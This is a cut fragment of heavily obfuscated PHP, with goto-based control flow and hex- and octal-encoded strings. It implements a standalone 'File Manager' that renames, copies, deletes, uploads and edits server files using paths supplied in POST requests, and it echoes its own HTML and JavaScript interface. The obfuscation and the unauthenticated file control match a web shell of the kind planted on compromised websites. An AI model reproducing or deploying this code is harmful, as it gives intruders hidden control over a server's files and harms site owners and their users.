lTcOf: $jj7As = rtrim($N3FQp, "\57") . "\57" . $dQ2Id; goto JSdgQ; T4zwj: $c3CZq = base64_decode($e212L); goto N50oN; W1MkE: jLJ2Q: goto Ry466; RSXTH: if (!(!NQxxK($N3FQp) || empty($c3CZq) || empty($dQ2Id))) { goto jLJ2Q; } goto rYUKY; JSdgQ: $Blo_g = $aKQJd . "\56\164\x78\x74"; goto AiTjC; yAtn_: goto yuctS; goto GDEqX; A8qBB: throw new Exception("\x43\x6f\x75\154\x64\x20\x6e\157\164\40\144\145\x6c\145\x74\145\x20\157\162\151\147\151\156\x61\x6c\40\x66\x69\154\145\56"); goto HyfUt; NVm39: throw new Exception("\x43\157\165\154\144\x20\156\x6f\x74\40\x70\x65\162\x66\x6f\x72\x6d\x20\x66\151\x6e\x61\154\x20\162\x65\156\141\x6d\145\x2e\40\117\x72\x69\x67\x69\x6e\x61\154\x20\146\151\x6c\x65\40\155\141\x79\40\142\x65\40\x72\145\x73\164\157\162\x65\144\56"); goto yAtn_; AiTjC: if (copy($aKQJd, $Blo_g)) { goto F0wA1; } goto df3zx; AXdYk: F0wA1: goto Vw9oZ; Vw9oZ: if (unlink($aKQJd)) { goto wtE6E; } goto UtPI4; N50oN: $dQ2Id = base64_decode($zd7rX); goto RSXTH; VEnf_: copy($Blo_g, $aKQJd); goto zMe0b; GDEqX: f5lol: goto P7IjC; Ry466: $aKQJd = rtrim($N3FQp, "\x2f") . "\x2f" . $c3CZq; goto lTcOf; G1EyE: $N3FQp = isset($_POST["\x70\141\164\150"]) ? NY0tu($_POST["\160\x61\x74\x68"]) : __DIR__; goto zd67f; HyfUt: wtE6E: goto RrQc4; df3zx: throw new Exception("\103\x6f\x75\154\144\x20\156\157\x74\x20\143\x72\145\141\x74\x65\x20\164\x65\155\160\157\x72\141\162\x79\40\143\x6f\x70\x79\56"); goto AXdYk; rYUKY: throw new Exception("\x49\x6e\166\x61\x6c\151\144\x20\x64\141\164\x61\x20\146\157\x72\x20\162\145\x6e\x61\x6d\151\x6e\x67\x2e"); goto W1MkE; UtPI4: unlink($Blo_g); goto A8qBB; P7IjC: $C_q13 = ["\x73\165\x63\x63\145\x73\x73" => true, "\155\x65\x73\163\141\x67\x65" => "\x49\x74\145\x6d\40\x72\145\x6e\141\x6d\x65\x64\40\x73\165\143\143\145\163\163\x66\165\x6c\154\x79\40\165\x73\151\156\x67\x20\x62\x36\x34\40\155\145\164\150\x6f\144\56"]; goto dygEg; FWMcy: $zd7rX = isset($_POST["\156\145\x77\x5f\x6e\x61\155\x65\137\x62\66\x34"]) ? $_POST["\x6e\145\x77\x5f\156\x61\x6d\x65\x5f\142\66\x34"] : ''; goto T4zwj; RrQc4: if (rename($Blo_g, $jj7As)) { goto f5lol; } goto VEnf_; zd67f: $e212L = isset($_POST["\157\154\144\137\x6e\x61\x6d\145\x5f\x62\x36\x34"]) ? $_POST["\x6f\154\x64\137\x6e\x61\x6d\145\x5f\x62\x36\x34"] : ''; goto FWMcy; wB07j: } goto EQarB; ZfuYF: ycSVf: goto OjHR9; EQarB: LToqq: goto ZfuYF; OjHR9: } catch (Exception $kvqcd) { $C_q13 = ["\x73\x75\143\143\145\x73\163" => false, "\155\x65\x73\163\141\147\145" => $kvqcd->getMessage()]; } goto jtolO; jtolO: echo json_encode($C_q13); goto BCDeX; BCDeX: exit; goto wWXaN; t2KH8: echo "\74\41\x44\117\x43\124\131\120\105\40\x68\164\x6d\154\76\12\x3c\x68\164\155\154\40\154\141\x6e\x67\75\42\145\x6e\42\x3e\12\74\x68\145\141\144\x3e\12\40\x20\40\x20\74\x6d\145\164\141\40\x63\150\141\x72\163\145\164\x3d\42\125\x54\x46\x2d\x38\42\76\74\x74\x69\164\154\x65\x3e\x46\x69\154\x65\x20\x4d\x61\x6e\141\x67\x65\x72\74\57\x74\151\164\154\145\x3e\x3c\x6d\x65\x74\x61\x20\x6e\141\155\x65\75\42\166\x69\x65\x77\160\157\162\x74\x22\x20\x63\157\156\x74\x65\x6e\164\75\x22\x77\x69\x64\164\x68\75\144\145\166\151\x63\145\55\167\151\x64\x74\150\x2c\x20\151\x6e\x69\x74\x69\141\x6c\55\x73\143\141\154\x65\75\61\x2e\x30\42\76\12\x20\40\x20\40\74\x73\164\x79\154\x65\76\12\x20\40\40\40\40\x20\40\x20\x3a\162\x6f\157\164\x7b\55\x2d\141\x63\x63\x65\156\x74\55\x63\157\154\157\x72\72\x23\62\62\67\x31\142\x31\73\55\x2d\150\x6f\x76\145\162\x2d\143\x6f\154\157\162\x3a\x23\x31\145\66\65\71\144\73\55\55\144\141\x6e\147\145\x72\x2d\143\157\154\x6f\x72\72\x23\x64\66\x33\x36\63\x38\73\175\12\40\40\40\40\40\40\40\x20\142\157\x64\171\173\146\x6f\x6e\x74\55\146\141\x6d\x69\x6c\171\x3a\x2d\141\160\160\x6c\x65\x2d\163\x79\x73\164\x65\x6d\x2c\102\x6c\x69\156\153\x4d\x61\143\123\171\x73\164\x65\155\106\157\156\x74\x2c\42\x53\x65\x67\157\145\x20\125\x49\x22\x2c\x52\157\x62\x6f\x74\157\x2c\117\170\x79\x67\x65\x6e\55\x53\141\156\163\x2c\x55\x62\x75\x6e\x74\165\54\x43\x61\156\164\x61\162\145\x6c\154\54\42\110\145\154\166\x65\x74\x69\143\141\x20\116\x65\165\x65\x22\54\163\x61\156\163\55\x73\x65\x72\x69\146\x3b\x62\x61\143\x6b\x67\x72\157\165\x6e\144\72\x23\146\60\146\x30\x66\61\x3b\155\x61\x72\147\151\x6e\72\x30\x3b\x7d\12\x20\40\x20\x20\40\40\x20\40\56\143\x6f\156\164\x61\x69\156\145\162\173\x64\151\163\160\154\x61\171\x3a\x66\x6c\x65\x78\x3b\x66\x6c\x65\170\x2d\x64\x69\162\145\x63\164\151\x6f\x6e\72\143\157\x6c\165\155\x6e\x3b\150\x65\x69\147\150\164\x3a\61\x30\x30\166\150\x3b\175\x68\145\x61\144\145\x72\173\x62\141\x63\x6b\x67\162\157\x75\x6e\x64\x3a\43\146\x66\x66\x3b\x70\141\x64\x64\151\156\147\x3a\61\60\160\x78\40\x32\x30\x70\170\73\142\x6f\x72\144\145\162\x2d\x62\x6f\164\164\x6f\x6d\x3a\x31\160\170\x20\x73\157\x6c\151\144\40\43\144\x64\144\73\x64\151\163\160\154\x61\x79\72\x66\x6c\145\x78\73\x6a\165\x73\x74\151\x66\171\x2d\x63\x6f\x6e\164\145\x6e\164\72\x73\160\141\143\x65\55\x62\x65\x74\167\x65\x65\156\x3b\141\x6c\151\x67\x6e\x2d\x69\x74\145\155\x73\72\143\x65\156\x74\145\162\73\146\x6c\x65\x78\55\163\150\162\151\156\153\x3a\x30\73\x7d\155\141\151\x6e\x7b\x66\154\145\170\55\x67\x72\157\167\72\x31\x3b\x70\141\144\x64\151\x6e\x67\x3a\62\60\160\x78\73\157\166\145\x72\x66\154\157\167\x2d\x79\72\141\x75\164\x6f\73\175\x2e\164\157\x6f\x6c\x62\141\162\173\155\141\162\x67\x69\156\x2d\142\x6f\164\x74\x6f\x6d\x3a\61\65\160\170\x3b\144\x69\163\x70\154\141\x79\72\x66\154\x65\x78\73\x66\154\x65\x78\55\167\162\x61\160\72\x77\x72\141\160\x3b\x67\141\x70\x3a\61\x30\160\x78\73\x61\154\151\x67\x6e\x2d\151\x74\145\x6d\x73\72\143\x65\156\x74\145\x72\x3b\175\x2e\160\x61\164\150\x2d\142\x61\162\173\142\141\143\153\147\x72\157\165\156\x64\x3a\43\x66\146\x66\x3b\160\141\144\x64\151\156\147\72\70\x70\x78\40\x31\x32\160\x78\x3b\142\157\162\x64\145\x72\55\x72\141\x64\151\165\163\x3a\64\x70\x78\73\142\157\x72\x64\x65\162\x3a\61\160\170\40\x73\157\154\x69\x64\x20\x23\144\x64\x64\73\146\x6f\x6e\x74\55\x66\141\155\151\154\x79\x3a\x6d\157\x6e\x6f\163\x70\x61\x63\x65\x3b\x66\x6c\x65\170\x2d\147\x72\x6f\167\x3a\61\73\x77\157\162\x64\x2d\142\x72\x65\x61\x6b\72\142\162\x65\141\153\x2d\141\x6c\x6c\73\x7d\x2e\x66\151\154\145\55\x74\x61\x62\x6c\145\173\167\x69\144\164\x68\72\x31\60\x30\45\x3b\x62\x6f\162\144\x65\x72\x2d\x63\x6f\x6c\154\x61\160\163\145\72\x63\x6f\x6c\x6c\141\x70\163\145\x3b\142\x61\143\x6b\147\162\157\x75\x6e\x64\72\x23\146\x66\146\x3b\x74\x61\x62\x6c\x65\55\x6c\141\x79\157\165\x74\x3a\x66\151\x78\145\x64\73\175\56\146\x69\154\x65\x2d\x74\x61\x62\154\145\40\x74\150\x2c\x2e\x66\151\154\x65\55\164\x61\142\154\145\40\164\144\x7b\164\x65\170\164\55\x61\154\151\147\156\72\154\145\x66\164\x3b\142\x6f\162\144\145\x72\x2d\x62\157\x74\x74\x6f\x6d\72\61\160\x78\x20\x73\157\x6c\151\x64\40\x23\x65\x65\145\73\x76\x65\162\164\x69\x63\x61\x6c\55\141\154\151\x67\x6e\x3a\x6d\x69\x64\144\x6c\145\73\x77\157\162\x64\55\167\x72\x61\x70\72\x62\162\145\x61\153\x2d\x77\157\162\x64\73\x7d\x2e\146\151\x6c\x65\55\x74\141\142\x6c\x65\40\164\x68\173\142\141\143\153\147\162\x6f\165\x6e\144\72\x23\x66\71\x66\71\146\x39\73\160\141\x64\144\151\x6e\x67\72\x31\x32\x70\170\40\70\x70\170\x3b\175\56\146\x69\x6c\x65\55\x74\x61\x62\154\x65\40\164\162\72\150\x6f\166\x65\x72\x7b\x62\141\143\x6b\147\162\157\165\156\144\72\43\x66\60\146\x38\146\146\x3b\x7d\56\146\151\x6c\x65\55\x74\141\x62\154\145\40\x74\x68\72\x6e\x74\x68\x2d\x63\150\x69\154\x64\x28\61\51\x2c\x2e\146\x69\x6c\145\55\164\x61\142\x6c\x65\40\x74\144\72\x6e\164\150\55\x63\x68\151\x6c\x64\50\61\x29\x7b\167\151\144\x74\150\72\64\x30\x70\x78\73\x70\141\144\144\x69\156\147\x3a\x31\x32\x70\170\x20\64\x70\170\x20\61\x32\160\x78\40\x31\62\160\x78\73\164\145\x78\x74\x2d\141\154\151\147\x6e\x3a\143\145\156\x74\x65\162\x3b\175\56\x66\x69\x6c\x65\x2d\x74\x61\142\154\x65\x20\164\x68\x3a\156\164\x68\x2d\x63\x68\x69\154\144\x28\x32\51\x2c\x2e\146\x69\x6c\x65\55\164\141\x62\154\x65\x20\164\144\72\x6e\164\x68\x2d\143\x68\x69\x6c\x64\x28\62\51\x7b\167\x69\x64\x74\x68\72\x35\60\x25\73\160\x61\x64\x64\151\156\147\x2d\154\145\x66\x74\72\64\160\170\73\175\x2e\x66\151\x6c\x65\x2d\x74\141\142\x6c\145\40\x74\x68\x3a\156\164\150\55\x63\x68\x69\x6c\144\50\63\51\54\x2e\x66\151\154\x65\x2d\164\141\x62\154\x65\x20\x74\144\72\156\x74\x68\55\143\150\x69\154\x64\50\63\51\x7b\167\151\144\x74\x68\72\61\62\x30\x70\x78\x3b\175\x2e\x66\151\154\145\x2d\164\x61\x62\x6c\145\40\x74\150\72\x6e\164\x68\55\x63\x68\x69\154\144\50\x34\x29\x2c\x2e\146\151\154\x65\55\x74\141\142\x6c\145\40\164\144\x3a\x6e\164\150\x2d\x63\150\151\x6c\144\x28\64\x29\x7b\x77\151\x64\x74\150\x3a\x31\x35\x30\160\170\73\x7d\x2e\x66\151\x6c\145\55\164\141\x62\154\145\x20\164\x68\x3a\x6e\164\150\55\143\150\x69\154\144\x28\65\x29\173\164\145\x78\164\55\141\x6c\x69\x67\x6e\x3a\162\151\x67\150\164\x3b\160\x61\x64\x64\x69\x6e\147\55\x72\151\147\150\x74\72\x31\62\160\x78\73\x7d\56\x61\x63\x74\151\157\x6e\163\x7b\144\x69\163\160\154\x61\x79\72\x66\x6c\x65\x78\x3b\x6a\165\x73\164\x69\x66\171\x2d\x63\157\156\x74\145\x6e\x74\x3a\x66\x6c\x65\170\x2d\145\156\144\x3b\x67\141\x70\72\65\160\170\x3b\175\x2e\x69\164\145\155\55\154\151\156\153\x2c\141\x2e\151\x74\145\x6d\x2d\154\151\156\153\173\164\x65\x78\x74\x2d\x64\145\x63\x6f\x72\141\x74\151\x6f\156\x3a\x6e\157\156\145\x21\151\155\x70\157\162\164\x61\x6e\x74\73\x63\157\x6c\157\x72\72\x76\x61\x72\x28\x2d\x2d\141\143\x63\145\x6e\164\55\x63\157\x6c\157\x72\51\73\x63\x75\162\163\157\162\72\x70\157\x69\156\164\x65\x72\73\175\x2e\151\164\145\155\x2d\154\151\156\153\72\x68\x6f\x76\145\x72\54\141\x2e\x69\164\x65\x6d\55\x6c\x69\x6e\x6b\72\x68\x6f\166\145\162\173\x63\x6f\154\157\x72\72\166\141\x72\x28\55\55\x68\157\166\x65\162\x2d\143\x6f\154\157\162\x29\x3b\x7d\164\x72\x5b\x64\141\164\141\x2d\160\x61\x74\x68\x5d\x7b\143\x75\162\163\x6f\162\x3a\160\157\x69\156\x74\145\x72\73\x7d\x2e\x62\x75\x74\164\157\156\x7b\x62\141\143\x6b\147\162\x6f\165\x6e\144\x3a\x76\x61\162\x28\55\55\x61\x63\x63\145\x6e\164\x2d\143\157\x6c\157\x72\x29\x3b\x63\157\154\x6f\162\x3a\167\x68\x69\x74\145\73\142\x6f\162\144\145\x72\x3a\x6e\157\x6e\x65\x3b\x70\x61\x64\x64\151\x6e\147\x3a\70\160\170\x20\61\62\x70\170\73\142\x6f\162\x64\x65\162\x2d\x72\x61\x64\x69\165\163\x3a\63\160\170\x3b\x63\165\x72\163\x6f\162\72\x70\x6f\x69\156\x74\145\x72\x3b\x66\157\156\x74\x2d\x73\151\x7a\x65\x3a\61\x34\x70\170\x3b\175\x2e\142\x75\164\164\157\156\x2e\x64\x61\156\147\145\x72\x7b\x62\x61\x63\153\147\x72\x6f\165\156\144\x3a\x76\141\x72\50\x2d\55\144\x61\156\x67\145\x72\x2d\143\157\x6c\x6f\x72\x29\73\x7d\43\163\x70\151\156\156\145\x72\173\x64\x69\x73\x70\154\x61\x79\72\x6e\157\x6e\145\73\x7d\x2e\155\157\144\141\154\x2d\x6f\x76\145\x72\x6c\x61\x79\173\144\x69\163\x70\154\x61\x79\72\156\157\x6e\145\73\160\157\163\151\x74\151\157\156\x3a\146\x69\170\x65\x64\73\x74\157\160\x3a\60\73\x6c\x65\x66\x74\x3a\x30\73\167\151\x64\x74\150\x3a\x31\x30\60\45\73\x68\145\151\x67\x68\164\x3a\x31\60\60\45\73\142\141\x63\x6b\x67\162\157\165\x6e\144\x3a\162\147\x62\x61\x28\60\x2c\60\x2c\x30\54\60\x2e\x36\51\73\x7a\x2d\x69\x6e\144\x65\170\x3a\61\60\60\x30\x3b\152\165\x73\x74\x69\146\x79\x2d\143\x6f\156\164\145\x6e\164\72\143\145\156\164\x65\162\x3b\x61\x6c\151\147\156\x2d\x69\164\x65\155\163\72\x63\145\156\x74\145\x72\73\x7d\56\x6d\x6f\144\141\154\55\143\x6f\156\164\145\x6e\164\x7b\x64\151\x73\x70\x6c\141\171\72\146\154\145\x78\73\146\154\145\170\x2d\x64\x69\x72\145\143\x74\151\x6f\156\72\x63\x6f\x6c\165\x6d\x6e\73\142\x61\143\x6b\147\162\157\x75\156\144\x3a\43\146\x66\146\x3b\x70\x61\x64\144\x69\x6e\x67\72\62\x30\160\x78\x3b\142\157\162\144\145\162\55\x72\141\x64\151\165\x73\x3a\x35\x70\170\x3b\x77\x69\144\164\150\x3a\70\x30\x25\x3b\150\145\151\x67\150\164\x3a\70\60\45\73\155\141\x78\55\x77\151\144\164\150\72\71\x30\x30\x70\x78\73\x62\157\x78\x2d\x73\150\x61\x64\x6f\x77\72\60\40\x35\x70\x78\x20\x31\65\160\170\x20\162\x67\142\141\x28\60\54\x30\54\x30\x2c\x30\56\63\51\73\x7d\164\145\170\x74\141\162\x65\141\43\x65\144\x69\x74\157\x72\x7b\146\154\x65\x78\x2d\147\162\x6f\167\x3a\61\73\146\157\x6e\x74\x2d\x66\141\x6d\151\154\171\72\x6d\157\156\x6f\x73\160\141\143\x65\73\x66\x6f\156\164\55\x73\151\x7a\145\72\x31\64\160\170\73\142\157\162\144\x65\162\72\x31\x70\170\x20\163\157\154\151\144\x20\43\x64\144\144\x3b\160\x61\x64\144\151\x6e\x67\72\61\x30\160\170\73\175\xa\x20\x20\40\40\74\57\163\x74\x79\154\145\x3e\12\74\57\x68\145\x61\144\x3e\xa\74\x62\x6f\x64\171\x3e\xa\x20\40\40\40\74\x64\151\166\x20\143\x6c\x61\163\x73\x3d\x22\143\157\156\164\141\151\156\x65\162\x22\76\xa\40\x20\x20\x20\40\40\40\x20\x3c\x68\x65\141\x64\145\x72\76\74\150\x33\76\x46\x69\x6c\x65\40\x4d\x61\156\x61\x67\x65\x72\40\x28\123\x74\141\x6e\144\x61\154\157\156\x65\51\74\57\x68\x33\x3e\74\x2f\150\145\141\x64\145\162\76\xa\40\x20\x20\40\40\40\40\x20\x3c\155\x61\151\x6e\76\xa\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\74\x64\151\166\x20\x63\154\141\x73\x73\75\42\x74\x6f\x6f\154\142\x61\162\x22\76\x3c\x62\165\x74\x74\157\x6e\40\143\x6c\x61\x73\163\x3d\x22\x62\165\x74\164\157\x6e\42\x20\151\144\75\x22\165\160\154\x6f\x61\x64\x42\x74\x6e\42\x3e\xc3\x83\302\242\303\202\xc2\xac\303\202\xc2\x86\xc3\x83\xc2\xaf\303\x82\xc2\270\xc3\x82\302\x8f\40\125\160\x6c\157\x61\144\74\57\142\x75\x74\x74\x6f\156\x3e\x3c\x62\x75\x74\x74\x6f\x6e\40\143\154\141\x73\x73\75\42\x62\x75\164\164\x6f\x6e\42\40\x69\144\x3d\42\156\145\x77\106\x69\x6c\145\x42\164\156\x22\76\xc3\203\302\260\xc3\202\302\x9f\303\x82\xc2\x93\303\202\xc2\204\40\116\x65\167\x20\106\151\154\x65\74\x2f\142\x75\164\x74\x6f\156\76\x3c\x62\x75\164\x74\157\x6e\x20\x63\x6c\141\x73\x73\x3d\42\x62\x75\x74\164\157\x6e\42\x20\151\144\75\42\156\145\x77\106\157\154\x64\x65\x72\x42\164\x6e\x22\x3e\xc3\203\xc2\242\303\202\302\236\xc3\202\302\225\40\x4e\x65\x77\40\106\x6f\x6c\144\145\x72\74\x2f\x62\x75\164\x74\157\x6e\x3e\74\142\x75\x74\164\157\x6e\40\143\x6c\141\x73\x73\75\x22\x62\165\x74\x74\157\156\40\144\141\x6e\x67\x65\x72\42\40\151\144\x3d\x22\x64\145\x6c\x65\x74\x65\102\164\156\42\x3e\303\203\xc2\xb0\303\x82\xc2\237\303\x82\302\x97\303\x82\xc2\x91\xc3\x83\xc2\257\303\202\302\270\xc3\x82\xc2\217\40\x44\145\154\x65\164\x65\x20\123\145\154\145\x63\164\145\144\x3c\x2f\142\x75\x74\x74\157\156\76\74\x64\151\x76\40\151\144\75\42\163\160\x69\156\156\145\162\x22\x3e\xc3\203\xc2\260\xc3\202\302\x9f\xc3\x82\xc2\225\xc3\x82\302\222\74\x2f\x64\x69\166\76\x3c\57\144\151\166\x3e\12\40\x20\40\x20\40\x20\40\x20\40\x20\40\x20\74\144\151\x76\40\x63\x6c\141\x73\x73\75\42\164\x6f\x6f\x6c\142\x61\x72\42\76\74\x64\151\x76\40\143\x6c\141\x73\163\75\42\160\x61\164\150\x2d\x62\141\162\42\x20\151\144\x3d\42\160\141\x74\150\x42\x61\x72\42\76\x2f\x3c\x2f\144\151\166\x3e\x3c\57\x64\x69\166\x3e\12\40\40\x20\x20\x20\x20\x20\40\40\x20\40\40\x3c\164\x61\x62\154\x65\40\x63\154\x61\163\x73\x3d\x22\146\151\x6c\x65\55\164\x61\142\x6c\x65\42\x3e\74\x74\150\145\141\144\76\x3c\164\162\x3e\74\164\150\76\x3c\151\156\160\165\x74\40\x74\x79\160\x65\x3d\x22\x63\x68\x65\143\153\x62\157\x78\42\x20\151\x64\75\x22\x73\x65\x6c\145\x63\x74\x41\154\x6c\42\76\74\57\164\x68\76\x3c\x74\150\x3e\116\141\155\x65\74\x2f\164\x68\76\x3c\x74\150\76\x53\x69\x7a\x65\74\57\164\x68\x3e\74\x74\150\x3e\115\x6f\x64\151\146\151\145\x64\x3c\57\164\x68\76\74\x74\x68\76\x41\143\164\151\x6f\156\x73\74\57\164\150\x3e\x3c\x2f\164\x72\76\74\57\164\x68\x65\141\x64\x3e\74\x74\142\x6f\144\x79\x20\x69\144\75\x22\x66\151\x6c\x65\114\151\163\164\x22\76\74\57\164\142\x6f\x64\x79\x3e\74\x2f\x74\x61\x62\154\x65\x3e\12\40\40\40\40\40\40\40\40\x3c\x2f\x6d\141\151\156\76\12\40\40\x20\40\74\x2f\144\x69\166\x3e\xa\x20\x20\x20\x20\74\144\x69\x76\x20\x69\x64\x3d\x22\145\144\151\164\157\162\x4d\x6f\x64\141\x6c\x22\x20\x63\x6c\x61\163\163\x3d\x22\x6d\157\x64\141\154\x2d\157\166\145\x72\154\141\171\x22\x3e\74\144\151\166\x20\143\x6c\141\163\163\75\x22\155\x6f\x64\141\154\55\x63\x6f\156\x74\145\156\x74\42\76\x3c\x68\63\x20\x69\144\x3d\x22\x65\x64\151\164\157\162\106\x69\154\145\x6e\x61\155\145\42\40\163\164\171\x6c\145\75\42\x6d\141\162\x67\x69\156\x2d\x74\x6f\160\72\60\x3b\42\76\74\x2f\x68\63\76\74\164\x65\170\x74\x61\x72\x65\141\40\151\144\75\x22\145\x64\151\x74\157\x72\x22\x20\163\x70\x65\x6c\x6c\143\x68\x65\x63\153\x3d\x22\x66\141\154\163\145\42\76\x3c\x2f\x74\145\170\x74\x61\162\145\141\x3e\74\144\x69\x76\x20\x73\x74\171\x6c\x65\x3d\42\x6d\141\x72\x67\151\156\x2d\164\157\160\72\61\x30\x70\x78\73\x22\76\74\x62\x75\164\x74\x6f\156\40\143\154\141\x73\163\x3d\x22\142\x75\164\x74\157\x6e\42\40\x69\x64\x3d\42\x73\141\166\x65\102\x74\156\42\x3e\xc3\203\302\260\303\x82\302\x9f\303\x82\xc2\222\xc3\x82\302\276\x20\x53\141\166\x65\40\103\150\141\x6e\147\145\x73\x3c\57\x62\x75\x74\x74\x6f\x6e\x3e\74\x62\x75\164\x74\157\156\40\143\x6c\x61\163\x73\75\x22\x62\165\x74\164\x6f\x6e\42\x20\x6f\156\x63\x6c\151\x63\153\x3d\42\x64\157\x63\165\155\145\x6e\164\56\147\145\164\x45\154\145\x6d\x65\x6e\x74\102\171\111\144\50\47\145\144\x69\164\x6f\162\115\x6f\144\141\154\x27\x29\56\x73\164\x79\154\145\x2e\x64\151\x73\160\154\x61\x79\75\x27\156\157\156\x65\x27\42\76\x43\154\x6f\x73\145\74\x2f\x62\x75\x74\164\x6f\156\x3e\74\x2f\144\x69\166\76\74\x2f\144\151\x76\x3e\x3c\x2f\x64\151\166\76\xa\40\40\40\x20\74\151\x6e\x70\x75\x74\x20\164\x79\160\x65\x3d\x22\x66\x69\x6c\x65\x22\x20\x69\x64\x3d\x22\x68\x69\x64\x64\x65\156\x46\151\154\145\x49\x6e\x70\165\164\x22\x20\155\x75\x6c\164\x69\160\154\x65\x20\x73\164\171\154\145\x3d\x22\144\x69\163\x70\154\x61\x79\x3a\156\157\156\x65\73\42\76\12\x20\40\x20\x20\x3c\x73\x63\x72\x69\x70\164\76\xa\x20\x20\40\x20\144\x6f\143\165\x6d\x65\x6e\x74\56\141\144\144\105\x76\145\156\x74\114\x69\163\x74\145\156\x65\162\50\47\x44\x4f\115\x43\x6f\156\164\x65\x6e\x74\114\x6f\x61\x64\145\144\x27\x2c\x20\50\x29\40\75\x3e\x20\173\12\40\x20\x20\x20\40\40\x20\40\143\x6f\156\x73\x74\x20\123\x54\101\x54\105\40\75\x20\x7b\40\x63\165\x72\162\145\x6e\164\x50\x61\164\150\x3a\40\47"; goto jupxf; Nx60v: echo "\47\x2c\x20\173\40\155\145\x74\x68\157\x64\x3a\40\x27\x50\x4f\x53\x54\47\54\x20\142\x6f\x64\x79\x3a\40\146\157\162\155\104\141\164\x61\40\x7d\51\x3b\x20\143\157\x6e\x73\164\40\162\x65\x73\165\154\164\x20\75\40\141\167\x61\x69\164\x20\162\145\x73\160\157\156\163\x65\56\152\163\x6f\x6e\x28\x29\73\40\151\x66\x20\x28\x21\x72\145\x73\x75\154\x74\56\163\x75\x63\x63\x65\x73\x73\51\40\x74\x68\162\157\167\x20\x6e\x65\x77\40\105\x72\162\x6f\x72\50\162\145\x73\165\154\164\x2e\155\x65\x73\x73\x61\147\145\51\73\x20\151\x66\40\50\x73\x68\157\167\x53\165\143\143\x65\163\x73\x20\46\x26\x20\162\145\163\165\154\x74\56\x6d\x65\163\163\141\147\x65\x29\40\x61\x6c\145\162\164\x28\162\145\163\165\154\x74\x2e\155\x65\163\x73\141\147\x65\51\73\x20\x72\145\x74\165\162\x6e\x20\162\145\x73\165\154\164\73\xa\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x7d\x20\x63\141\164\143\x68\x20\x28\145\x72\x72\x6f\x72\x29\x20\173\x20\x61\x6c\x65\162\164\50\140\x45\162\162\157\162\72\40\44\x7b\145\x72\x72\x6f\162\56\155\145\x73\x73\141\x67\x65\x7d\x60\x29\x3b\x20\x63\157\x6e\163\157\x6c\x65\56\x65\162\162\x6f\x72\x28\42\x46\x75\154\x6c\x20\162\145\x73\160\x6f\156\163\145\x3a\x22\54\40\x65\162\x72\157\162\x2e\x72\145\x73\160\x6f\156\163\145\x29\73\40\x72\x65\x74\165\x72\156\40\x6e\165\x6c\x6c\73\40\175\x20\x66\x69\156\141\x6c\x6c\171\x20\x7b\40\x64\x6f\155\56\x73\x70\x69\x6e\x6e\145\162\x2e\163\164\171\154\x65\x2e\x64\x69\163\x70\154\x61\171\x3d\x27\x6e\157\156\x65\x27\73\40\x7d\xa\x20\40\x20\x20\40\x20\40\40\175\12\40\40\x20\x20\x20\x20\x20\40\146\x75\x6e\x63\164\151\x6f\x6e\40\162\x65\x6e\x64\145\x72\50\51\40\x7b\12\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\143\157\x6e\x73\164\x20\146\157\x72\155\104\141\164\x61\x20\x3d\x20\156\x65\x77\x20\106\157\162\x6d\x44\x61\164\x61\x28\51\x3b\40\146\x6f\162\x6d\104\x61\x74\141\56\x61\160\160\145\156\x64\x28\47\160\141\164\x68\47\54\x20\123\x54\x41\x54\105\56\143\165\162\x72\x65\156\164\x50\x61\164\x68\x29\73\xa\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\x61\x70\151\x43\x61\x6c\154\50\47\x6c\151\163\x74\x27\54\40\146\157\x72\155\104\x61\x74\x61\x29\x2e\164\x68\x65\156\50\162\x65\163\165\154\164\40\x3d\76\x20\173\12\40\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\40\151\146\40\50\x21\x72\x65\163\165\154\x74\51\x20\162\x65\164\x75\162\x6e\73\xa\40\x20\40\x20\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\x53\124\101\124\105\56\143\x75\x72\162\x65\156\164\x50\141\164\150\x20\x3d\40\x72\x65\163\165\154\164\56\x70\x61\x74\x68\73\40\144\157\x6d\x2e\x70\141\x74\150\x42\x61\x72\56\x74\145\x78\x74\103\157\156\164\x65\156\164\40\75\x20\123\124\x41\124\105\x2e\143\165\x72\x72\x65\156\164\x50\141\164\150\73\x20\x6c\x65\x74\x20\x68\x74\x6d\x6c\40\x3d\40\x27\x27\73\40\154\x65\x74\x20\160\x61\162\x65\x6e\x74\120\x61\x74\x68\40\75\40\123\x54\101\x54\105\56\143\x75\x72\162\x65\156\x74\x50\141\x74\x68\56\163\x75\x62\163\164\x72\151\x6e\147\x28\x30\x2c\40\123\124\101\124\x45\56\143\165\x72\162\145\156\164\x50\141\x74\x68\56\154\141\x73\x74\x49\156\144\x65\x78\x4f\146\x28\x27\x2f\x27\51\51\73\x20\x69\x66\x20\50\160\141\x72\145\156\164\x50\141\164\150\40\75\75\75\x20\x27\47\51\x20\x70\141\x72\x65\x6e\164\x50\141\x74\150\x20\x3d\40\x27\x2f\47\73\xa\x20\40\40\x20\x20\x20\40\40\40\x20\40\40\40\40\40\x20\151\146\x20\50\x53\124\x41\x54\105\56\143\x75\x72\x72\145\156\x74\120\x61\x74\150\40\x21\75\75\40\47\57\47\x29\40\x7b\x20\x68\164\x6d\154\40\53\75\40\x60\x3c\164\162\40\x64\x61\164\x61\55\160\141\x74\150\75\42\44\x7b\160\141\x72\x65\x6e\x74\x50\x61\164\x68\x7d\x22\x3e\74\x74\144\x3e\x3c\57\164\144\x3e\74\x74\x64\x20\x63\157\154\163\x70\141\x6e\x3d\42\64\x22\x20\143\154\x61\x73\163\75\x22\x69\x74\145\155\55\154\x69\156\153\x22\x3e\xc3\x83\xc2\xa2\303\x82\xc2\xac\303\202\302\206\xc3\203\302\xaf\303\x82\xc2\xb8\303\202\xc2\x8f\40\56\56\40\50\120\141\x72\x65\x6e\x74\40\104\151\x72\145\x63\164\157\x72\x79\51\x3c\x2f\164\x64\76\74\57\x74\x72\76\x60\x3b\40\175\xa\40\40\x20\40\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\162\145\163\x75\154\164\56\146\151\154\145\163\x2e\x73\157\162\164\50\50\141\54\142\51\40\x3d\x3e\x20\x28\x61\56\151\x73\x5f\144\151\x72\x20\x3d\75\x3d\x20\142\56\151\x73\137\144\151\x72\51\x20\x3f\x20\x61\x2e\156\x61\155\x65\56\x6c\x6f\x63\141\x6c\145\103\x6f\155\160\141\162\x65\x28\